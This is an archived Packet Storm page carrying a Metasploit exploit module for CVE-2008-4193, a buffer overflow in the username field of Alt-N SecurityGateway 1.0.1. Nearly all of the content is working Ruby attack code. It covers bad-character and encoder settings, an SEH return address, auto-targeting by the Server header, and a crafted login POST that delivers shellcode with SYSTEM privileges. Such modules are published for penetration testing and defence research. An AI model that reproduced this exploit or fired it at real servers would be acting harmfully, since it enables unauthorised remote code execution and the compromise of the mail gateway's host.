exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Alt-N SecurityGateway username Buffer Overflow

Alt-N SecurityGateway username Buffer Overflow
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

Alt-N SecurityGateway is prone to a buffer overflow condition. This is due to insufficient bounds checking on the "username" parameter. Successful exploitation could result in code execution with SYSTEM level privileges. NOTE: This service doesn't restart, you'll only get one shot. However, it often survives a successful exploitation attempt.

tags | exploit, overflow, code execution
advisories | CVE-2008-4193
SHA-256 | ff81f757d0ee734b80216662fed47c56e6a92afa7502822354ef61533ab501d3

Alt-N SecurityGateway username Buffer Overflow

Change Mirror Download
##
# $Id: altn_securitygateway.rb 8010 2009-12-28 20:38:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Alt-N SecurityGateway username Buffer Overflow',
'Description' => %q{
Alt-N SecurityGateway is prone to a buffer overflow condition. This
is due to insufficient bounds checking on the "username"
parameter. Successful exploitation could result in code
execution with SYSTEM level privileges.

NOTE: This service doesn't restart, you'll only get one shot. However,
it often survives a successful exploitation attempt.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8010 $',
'References' =>
[
[ 'CVE', '2008-4193' ],
[ 'OSVDB', '45854' ],
[ 'BID', '29457']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 476,
# note: 0xd7 might not be translated, but w/e
'BadChars' => "\x00" + ((0x40..0x5a).to_a + [ 0x8a, 0x8c, 0x8e, 0x9f ] + (0xc0..0xdf).to_a).pack('C*'),
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::SingleStaticBit,
'EncoderOptions' =>
{
'BitNumber' => 0x5,
'BitValue' => true,
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Targeting', { } ],
# NOTE: the return address must be tolower() safe
[ 'SecurityGateway 1.0.1 Universal', { 'Ret' => 0x6767756f }], # p/p/r in XceedZip.dll 4.5.77.0
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 02 2008'))

register_options([Opt::RPORT(4000)], self.class)
end


# Identify the target based on the SecurityGateway version number
def auto_target
print_status("Attempting to automatically selct a target...")
res = send_request_raw(
{
'uri' => '/SecurityGateway.dll'
}, 10)

if (res and res.headers['Server'] =~ /SecurityGateway (1\..*)$/)
case $1
when /1\.0\.1/
return self.targets[1]
end
end

# Not vulnerable
return nil
end


def exploit

# handle auto-targeting
mytarget = target
if target.name =~ /Automatic/

mytarget = auto_target
if mytarget.nil?
raise RuntimeError, "Unable to automatically select a target"
end
print_status("Automatically selected target \"#{mytarget.name}\"")
end

# the buffer gets CharLowerBuff()'d and passed to:
# sprintf(str, "Attempt to login with invalid user name %s from %s", buf, ip_str);

sploit = payload.encoded
sploit << generate_seh_record(mytarget.ret)
distance = payload_space + 8
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
sploit = Rex::Text.to_hex(sploit, '%')
sploit << rand_text_alphanumeric(512)

post_data = 'RequestedPage=login'
post_data << '&username=' << sploit
post_data << '&passwd=world'

print_status("Sending request...")
res = send_request_cgi({
'uri' => '/SecurityGateway.dll',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'data' => post_data,
}, 5)

handler
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close